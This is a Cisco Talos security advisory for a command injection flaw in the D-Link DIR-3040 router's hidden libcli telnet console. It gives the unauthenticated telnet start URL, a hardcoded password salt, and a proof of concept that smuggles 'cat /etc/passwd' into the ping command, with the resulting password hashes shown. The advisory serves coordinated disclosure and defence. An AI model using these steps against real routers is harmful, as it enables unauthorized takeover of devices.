CVE-2021-21819: TALOS-2021-1284 || Cisco Talos Intelligence Group

Summary

A code execution vulnerability exists in the Libcli Test Environment functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

The DIR-3040 is an AC3000-based wireless internet router.

As discussed in TALOS-2021-1285, a hidden telnet service can be started without authentication by visiting

https://<router_ip>/start_telnet

This service presents the user with a login prompt for their “libcli test environment”:

$ telnet 192.168.0.1
          Trying 192.168.0.1...
          Connected to 192.168.0.1.
          Escape character is '^]'.
          dlinkrouter login: admin
          Password: 

The admin user is the same user that is used within the Web UI, including the password that was created using the setup wizard. This username/password combination alone will still fail unless the salt “@twsz2018” is appended:

<password> + "@twsz2018" = <password>@twsz2018

It is here that we are presented with the following options. None of which should allow us traditional shell-access to the device.

libcli test environment

router> 
  help                 Show available commands
  quit                 Disconnect
  history              Show a list of previously run commands
  protest              protest cmd
  iwpriv               iwpriv cmd
  ifconfig             ifconfig cmd
  iwconfig             iwconfig cmd
  reboot               reboot cmd
  brctl                brctl cmd
  ated                 ated cmd
  ping                 ping cmd

However some commands, such as the ping and ated commands are vulnerable to command injection because the arguments are not sanitized for command separators before being sent to systemCmd which subsequently executes the desired program with requested arguments. This can be found in /usr/bin/cli

004016a8   move    $a2, $s5  {unsanitized_ping_command_format_string}, "%s "}
004016ac   addiu   $s1, $s1, 1
004016b0   lw      $gp, 0x10($sp) {var_30}  {0x41aa70}
004016b4   addu    $s0, $s0, $v0
004016b8   bne     $s1, $s4, 0x401694
004016bc   addiu   $s2, $s2, 4
004016c0   lw      $t9, -0x7fcc($gp)  {systemCmd}  {data_412aa4}
004016c4   move    $a0, $s7
004016c8   bal     systemCmd

Exploit Proof of Concept

The following is an example using their ping functionality

* $ telnet 192.168.0.1
      Trying 192.168.0.1...
      Connected to 192.168.0.1.
      Escape character is '^]'.
      dlinkrouter login: admin
      Password: 
      libcli test environment
      
      router> ping -c 1 8.8.8.8; cat /etc/passwd
      PING 8.8.8.8 (8.8.8.8): 56 data bytes
      64 bytes from 8.8.8.8: seq=0 ttl=119 time=22.420 ms
      admin:$1$ULRr4v9Y$Q6RhdYph2fnaDJSdSHT7o1:0:0:Adminstrator:/:/bin/sh
      nobody:x:1:500:Linux User,,,:/home/nobody:/bin/sh
      root:x:2:600:Linux User,,,:/home/root:/bin/sh

Timeline

2021-04-28 - Vendor disclosure
2021-05-12 - Vendor acknowledged
2021-06-08 - Vendor provided patch for Talos to test
2021-06-09 - Talos provided feedback on patch
2021-06-23 - Talos follow up with vendor
2021-07-13 - Vendor patched
2021-07-15 - Public Release

Discovered by Dave McDaniel of Cisco Talos.